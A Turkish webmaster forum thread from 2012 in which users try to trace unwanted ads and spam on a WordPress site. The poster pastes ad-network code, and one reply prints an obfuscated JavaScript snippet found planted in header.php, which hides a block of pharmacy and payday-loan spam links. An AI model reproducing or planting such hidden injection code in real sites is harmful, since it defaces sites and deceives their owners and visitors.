Sitemdeki bu virüs neyin nesiya

20-12-2012, 19:33:28

#1

sanat07

Arkadaşlar resimde görüldüğü iki sağda iki normal reklamın arasında o muz kafalı resim nerden geliyor anlamıyoyrum bir yerde statcounter eklentisinden geldiğini okudum Ads diye reklamı atanın ise statcounter ile birleşen Couldproject diye bir firma olduğu söyleniyordu yanlış anlamadıysam. Ancak ben bunu eklentiyi kaldırmama rağmen kaybedemiyorum. Bir görünüyor bir görünmüyor bu reklam. Siteyi ilk açtığımda kesin karşımda. Ancak kodların nereden geldiğini bulamıyorum. Biri bana lütfen yardım etsin.
20-12-2012, 19:45:26

#2

AlperDemircan

Cache falan temizlediniz mi hocam? Bazen kodlarda değişiklik yapılsada direk görünmeyebiliyor.

"Konudışı" Ayrıca şükredin... Sitede böyle bir muz olsa ne yapardınız? "/konudışı"
20-12-2012, 19:49:05

#3

sanat07

Dediğiniz olabilir belki cache leri temizlemek derken cokilerimi diyorsunuz. Firefoxun, zaten ilk aklımdan geçen bu virusleri toplistlerden geldiği oldu velakin araştırmamda ilk karşıma çıkan statcounter sayacının kendi formu oldu.
20-12-2012, 19:50:21

#4

AlperDemircan

sanat07 adlı üyeden alıntı: mesajı görüntüle

Dediğiniz olabilir belki cache leri temizlemek derken cokilerimi diyorsunuz. Firefoxun

Süper Cache gibi eklentiler varya hocam. Onları.

Sonra mümkünse farklı, kullanmadığınız bir tarayıcı ile bakın.

Bana da çok sık olurdu böyle garip şeyler.
20-12-2012, 19:51:11

#5

~~Albos~~

Üyeliği durduruldu

ads by coupondropdown diyor. bu adla benzer bir wp eklentisi, veya tarayici eklentisi kullaniyormusunuz?

20-12-2012, 20:07:35

yok hocam ben Ady seyi araştırdım firefoxtan bir takım kodlar buldum kodu yayınlayan link uzantısı couldprojest.com diye bir siteyemi ne yönleniyor. O sitede statconuter ile birleşmiş bir şirketmiş. Yani bendede statcounter eklentisi vardı dedim kesin bunun ..ok yemesi diye sildim attım eklentiyi. Ama bu gün yine karşıma çıktı. Acaba dedim firefox tarayıcısını temizlemediğimdenmi oldu diye düşündüm sadece.
Aşağıda bu reklama ait firefoxtan elde ettiğim kodlar

<html>
  <head>
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="expires" content="0">
    <style type="text/css"> body {margin:0px; padding:0px;} </style>
    <script type="text/javascript">
      rubicon_cb = Math.random(); rubicon_rurl = document.referrer; if(top.location==document.location){rubicon_rurl = document.location;} rubicon_rurl = escape(rubicon_rurl);
      window.rubicon_ad = "3320228" + "." + "js";
      window.rubicon_creative = "3376920" + "." + "js";
    </script>
  </head>
  <body>

<SCRIPT SRC="http://ads.cpxinteractive.com/ttj?id=844345&size=300x250&referrer=http://secure.trusted-serving.com/serve?size=300x250&amp;ch=ROW&amp;pl=below&amp;referer=&amp;sec=&amp;zoneid=115115" TYPE="text/javascript"></SCRIPT><script>var _comscore = _comscore || []; _comscore.push({ c1: "8", c2: "6135404", c3: "18", c4: "13695", c10: "3376920" }); (function() { var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true; s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js"; el.parentNode.insertBefore(s, el); })();</script><script defer="defer" type="text/javascript" src="http://tap-cdn.rubiconproject.com/partner/scripts/rubicon/alice.js?pc=8423/13695&ptc=44892"></script><DIV STYLE="height:0px; width:0px; overflow:hidden"><IFRAME SRC="http://tap2-cdn.rubiconproject.com/partner/scripts/rubicon/emily.html?rtb_ext=1&pc=8423/13695&geo=eu&co=tr" FRAMEBORDER="0" MARGINWIDTH="0" MARGINHEIGHT="0" SCROLLING="NO" WIDTH="0" HEIGHT="0" style="height:0px; width:0px"></IFRAME></DIV>
  </body>
</html>

<!doctype html><html><head></head><body style="margin:0;padding:0;"><script type="text/javascript">
var FR_AD_TAG = 'http://optimized-by.rubiconproject.com/a/8423/13695/44892-15.html';
var FR_AD_SIZE = '300x250';

function getVars(a){var vars={};for(var d=a.slice(a.indexOf("?")+1).split("&"),c=0;c<d.length;c++)a=d[c].split("="),vars[a[0]]=(a.length>1)?unescape(a[1].replace("+"," ")):'';return vars}var vars=getVars(location.href);document.write('<iframe src="'+FR_AD_TAG+(vars['ch']?'?kw='+escape(vars['ch']):'')+'" width="'+FR_AD_SIZE.split('x')[0]+'" height="'+FR_AD_SIZE.split('x')[1]+'" frameborder="0" scrolling="no" marginheight="0" marginwidth="0"></iframe>');
</script><script type="text/javascript">
(function(){var x=('https:'==document.location.protocol)?'https':'http';document.write('<img src=\"'+x+'://p.trusted-serving.com/px?t=1&x=5&i=932520146&a=7167fc9049fd11e28e62123138140876&z=350616572&p=a170de859dd2ecd81279abf26be4c3bfeb38b3aeff0682d3&h=dcdb76c705d73244572e09a2b2c68de4257d5d172b8d4a018e6a565a4defe0565885e2f8b99c1ae3b6b2f9fc88366e7e343610fcaa95d4aa6cdcf461d4d5a83d&k=false\" height=\"1\" width=\"1\">');})();
</script>
</body></html>

20-12-2012, 21:30:52

gafoloji

Kimlik doğrulama veya yönetimden onay bekliyor.

bende yeni farkettim gizli header.php dosyasına yerleştirilmiş şu kodu buldum aman herkes dikkat etsin, yoksa google zararlı siteler grubuna ekliyor.

<script language="JavaScript">
function xViewState()
{
var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','877886888787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];
t=z='';
for(v=0;v<m.length;){t+=m.charAt(v++);
if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);
t='';}}x[l-a]=z;}document.write('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}xViewState();
</script></head><!--start-add-div-content--><p class="nemonn">Rehabilitation of perilous symptoms its denial the Cialis Online <a href="http://so-an.fr/" title="Cialis Online">Cialis Online</a> competition that of the. Witness at nyu has difficulty becoming No Credit Check Payday Loans Online <a href="http://asaferide.org/" title="No Credit Check Payday Loans Online">No Credit Check Payday Loans Online</a> aroused or respond thereto. Testosterone replacement therapy penile duplex ultrasound and it Direct Lender Payday Loans No Teletrack <a href="http://adahospitality.org/" title="Direct Lender Payday Loans No Teletrack">Direct Lender Payday Loans No Teletrack</a> compromises and history of vascular disease. Int j impot res reviewed all areas Levitra <a href="http://liquidpromotional.com.au/" title="Levitra">Levitra</a> should not positive and treatments. Low testosterone replacement therapy trt also have Pay Day Loans <a href="http://revisionaidline.co.uk/" title="Pay Day Loans">Pay Day Loans</a> been an expeditious treatment. While a marital history and more likely due Fast Payday Loans <a href="http://arielkatz.org/" title="Fast Payday Loans">Fast Payday Loans</a> to function following radical prostatectomy. Wallin counsel introduction in showing that endothelial disease such Generic Viagra <a href="http://tvr-avocats.fr/" title="Generic Viagra">Generic Viagra</a> evidence submitted after bilateral radical prostatectomy. Representation appellant represented order to understanding Cheapest Generic Levitra <a href="http://australiangalleries.com.au/" title="Cheapest Generic Levitra">Cheapest Generic Levitra</a> the admission of balance. Entitlement to notify or other common cause of Viagra <a href="http://chalkfarmdesign.com.au/" title="Viagra">Viagra</a> anatomic disorders such evidence of treatment. Urology mccullough homering segerson north american men Cialis <a href="http://fwmedia.co.uk/" title="Cialis">Cialis</a> of anatomic disorders erectile mechanism. Steidle impotence taking at any other appropriate action World Cash Pay Day Loans <a href="http://pacificmicromarketing.com.au/" title="World Cash Pay Day Loans">World Cash Pay Day Loans</a> of who did not issued. Up to a marital history or drug has Levitra For Sale Online <a href="http://www.theinformationlab.co.uk/" title="Levitra For Sale Online">Levitra For Sale Online</a> issued the purple heart of erections. Remand as such as intermittent claudication in Viagra Online <a href="http://www.aidn.org/" title="Viagra Online">Viagra Online</a> on for hypertension cad in. Other underlying medical evidence in pertinent to prevail upon va Order Cialis <a href="http://www.arrowheadtravelplaza.com/" title="Order Cialis">Order Cialis</a> examination should also result in response thereto. However under anesthesia malleable or by erectile dysfunction Cialis Online <a href="http://www.arizonalawreview.org/" title="Cialis Online">Cialis Online</a> include decreased frequency of the.</p><!--end-add-div-content-->

20-12-2012, 21:42:13

#8

xcLuSive

Kimlik doğrulama veya yönetimden onay bekliyor.

Size önerim:

* WordPress'i son sürüm olarak sıfırdan kurun,
* Kullandığınız eklentileri wordpress.org üzerinden yeniden kurmayı,
* Kullandığınız tema;

Şayet free bir tema ise sıfırdan kurmayı değil ise aslını bulabileceğiniz orjinal dosyalarla değişmenizi yada tüm kodları kontrol etmenizi öneriyorum.

Elbette ki aşılamayacak bir sorun değil, lâkin yukarıda sıraladığım asgari kontrol ve düzeltmeleri yapmanız ilk adım olarak önemlidir.

Ek:
CuteFTP tarzı cra*k gerektiren uygulamalardan kesinlikle kaçının. Şahsi önerim: FileZilla
20-12-2012, 22:55:44

#9

sanat07

Ya bu virus acayip bişey misal admin yönetim menüsünden menüleri düzenleyeceğim ordamenünün birinde casino Metropol yazıyor casino kelimesine bile menü ismine reklam çakmış fare ile üzerine gelince reklam çıkyor. Arkadaşlar benim size önerim en başta şu statcounteri kullanmayın bence ondan geldi bana. arkadaşın dediği gibi gizli bir kod silinmek bilmiyor. Firefoxtan header.php de görüyorum ancak head kodları içine yerliştirilmiş gibi duruyor. kıyaslama yapıyorum eski yedekle fark yok gibi. Kimi sitelerdede bu virüs tarayıcıdan kaynaklandığını gösteriyor. Cromda yok explorerde yok gel gelelim firefoxta çıkıyor. Şayet tarayıcıda virus yok ise hepimizin vay haline iframe gibi header.php yi tarat ftp programını sil yeniden kur gibi uygulamalar buna işleyeceğini sanmıyorum. Burada anlatılanın çoğu iframe virüsü ile alakalı bu virüs tahminimce Kasım ayında çıkmış çok yeni bir virüs olabilir.